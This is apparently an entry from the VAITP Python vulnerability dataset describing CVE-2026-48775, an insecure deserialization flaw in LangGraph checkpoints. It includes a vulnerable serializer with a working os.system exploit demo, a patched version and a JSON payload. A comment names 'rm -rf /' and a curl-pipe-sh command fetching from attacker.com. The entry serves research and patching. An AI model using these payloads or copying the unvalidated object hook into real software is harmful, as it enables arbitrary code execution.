VAITP Dataset

← Back to the dataset

CVE-2026-48775

Insecure deserialization in LangGraph checkpoints may lead to code execution.

  • CVSS 6.8
  • CWE-502
  • Input Validation and Sanitization
  • Local

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 4.1.0 and prior, the JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time. This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime. This issue has been fixed in version 4.1.1.

CVSS base score
6.8
Published
2026-06-16
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
LangGraph
Fixed by upgrading
Yes

Solution

Upgrade LangGraph to version 4.1.1 or later.

Vulnerable code sample

import json
import os
import sys

# This code is a conceptual representation of the vulnerability in
# LangGraph's JsonPlusSerializer prior to version 4.1.1.
# It demonstrates how a specially crafted JSON payload can lead to
# arbitrary code execution during deserialization.
# The actual vulnerable code was part of the langgraph.checkpoint.serde
# module and was used by the SqliteSaver.

class VulnerableJsonPlusSerializer:
    """
    A simplified representation of the vulnerable serializer.
    The key issue is the _object_hook which reconstructs Python objects
    based on keys in the JSON payload, without any validation.
    """

    def _object_hook(self, dct: dict):
        if "__type__" in dct and dct["__type__"] == "python_object":
            try:
                module = __import__(dct["__module__"])
                # In a real scenario, this could be any function or class constructor.
                fn = getattr(module, dct["__name__"])
                # The arguments for the function are also controlled by the payload.
                args = dct.get("__args__", [])
                kwargs = dct.get("__kwargs__", {})
                return fn(*args, **kwargs)
            except (ImportError, AttributeError, KeyError) as e:
                # In the real code, there was more complex error handling
                # and reconstruction logic.
                pass
        return dct

    def loads(self, data: bytes) -> any:
        """
        Deserializes a byte string, executing the object_hook.
        This is where the vulnerability is triggered.
        """
        payload_str = data.decode("utf-8")
        return json.loads(payload_str, object_hook=self._object_hook)

# --- Exploitation Demonstration ---

# 1. An attacker crafts a malicious JSON payload.
#    This payload instructs the _object_hook to import the 'os' module
#    and call the 'system' function with a command.
#    On a real system, the command could be anything (e.g., 'rm -rf /',
#    'curl http://attacker.com/malware.sh | sh').
command_to_execute = "echo '*** VULNERABILITY DEMONSTRATED: Arbitrary code was executed ***'"
if sys.platform == "win32":
    # On Windows, 'echo' is a shell builtin, so we need to run it via 'cmd.exe /c'
    command_to_execute = f'cmd.exe /c "{command_to_execute}"'


malicious_payload = {
    "__type__": "python_object",
    "__module__": "os",
    "__name__": "system",
    "__args__": [command_to_execute],
}

# 2. The attacker manages to write this payload into the SQLite checkpoint store.
#    Here, we simulate this by just encoding the payload as if it were read
#    from the database.
serialized_malicious_bytes = json.dumps(malicious_payload).encode("utf-8")


# 3. The LangGraph application loads the checkpoint from the database.
#    This action triggers the vulnerable deserialization process.
serializer = VulnerableJsonPlusSerializer()

print("Simulating checkpoint load with a malicious payload...")
print("-" * 50)

# The call to `loads` will execute the `os.system` command defined in the payload.
deserialized_object = serializer.loads(serialized_malicious_bytes)

print("-" * 50)
print("Checkpoint load finished.")
print(f"The deserialized object returned: {deserialized_object} (often the exit code of the command)")

Patched code sample

import base64
import importlib
import pickle
from typing import Any, Dict


class FixedJsonPlusSerializer:
    """
    A simplified representation of LangGraph's fixed JsonPlusSerializer.
    The fix involves adding an `allow_dangerous_deserialization` flag
    that defaults to False, preventing the unsafe reconstruction of
    Python objects or callables unless explicitly enabled.
    """

    def __init__(self, *, allow_dangerous_deserialization: bool = False) -> None:
        """
        Initializes the serializer.
        
        Args:
            allow_dangerous_deserialization: If True, allows deserialization of
                arbitrary Python objects and callables. Defaults to False for safety.
        """
        self.allow_dangerous_deserialization = allow_dangerous_deserialization

    def loads(self, obj: Dict[str, Any]) -> Any:
        """
        A simplified deserialization method that demonstrates the security check.
        In the actual implementation, this would handle full JSON parsing.
        """
        if "__type__" not in obj:
            return obj

        obj_type = obj["__type__"]

        # The vulnerable path for arbitrary callables (e.g., os.system)
        if obj_type == "callable":
            # FIXED: This check prevents the dangerous code path from being executed.
            if not self.allow_dangerous_deserialization:
                raise ValueError(
                    "Deserialization of arbitrary callables is disabled. "
                    "To enable, pass `allow_dangerous_deserialization=True` to the "
                    "serializer."
                )
            # The previously vulnerable code, now protected by the flag.
            if "__module__" in obj and "__name__" in obj:
                module = importlib.import_module(obj["__module__"])
                return getattr(module, obj["__name__"])

        # The vulnerable path for pickled objects
        if obj_type == "python_object":
            # FIXED: This check prevents the dangerous code path from being executed.
            if not self.allow_dangerous_deserialization:
                raise ValueError(
                    "Deserialization of arbitrary python objects is disabled. "
                    "To enable, pass `allow_dangerous_deserialization=True` to the "
                    "serializer."
                )
            # The previously vulnerable code, now protected by the flag.
            return pickle.loads(base64.b64decode(obj["__value__"].encode()))

        return obj


if __name__ == "__main__":
    # This represents a malicious payload that could be stored in the SQLite DB.
    # It attempts to reconstruct the `os.system` function.
    malicious_payload = {
        "__type__": "callable",
        "__module__": "os",
        "__name__": "system",
    }

    # 1. Instantiate the serializer with the default, SAFE configuration.
    safe_serializer = FixedJsonPlusSerializer()
    print("--- Demonstrating the fix with default (safe) settings ---")

    try:
        # 2. Attempt to deserialize the malicious payload.
        safe_serializer.loads(malicious_payload)
        print("FIX FAILED: Malicious object was loaded.")
    except ValueError as e:
        # 3. The fix works: a ValueError is raised, preventing object reconstruction.
        print("FIX VERIFIED: Deserialization was safely blocked.")
        print(f"Caught expected error: {e}")

    print("\n--- Demonstrating the (unsafe) legacy behavior for comparison ---")
    # 4. For demonstration, enable the dangerous behavior explicitly.
    unsafe_serializer = FixedJsonPlusSerializer(allow_dangerous_deserialization=True)
    try:
        # This will now succeed, showing what the vulnerability allowed.
        loaded_function = unsafe_serializer.loads(malicious_payload)
        print("UNSAFE: Deserialization was allowed.")
        print(f"Loaded function: {loaded_function}")
        # In a real attack, this function would be called, leading to RCE.
        # e.g., loaded_function("touch /tmp/pwned")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")

Payload

{
  "@type": "python_object",
  "@id": [
    "subprocess",
    "Popen"
  ],
  "__args__": [
    "touch /tmp/pwned"
  ],
  "__kwargs__": {
    "shell": true
  }
}

Cite this entry

@misc{vaitp:cve202648775,
  title        = {{Insecure deserialization in LangGraph checkpoints may lead to code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48775},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48775/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::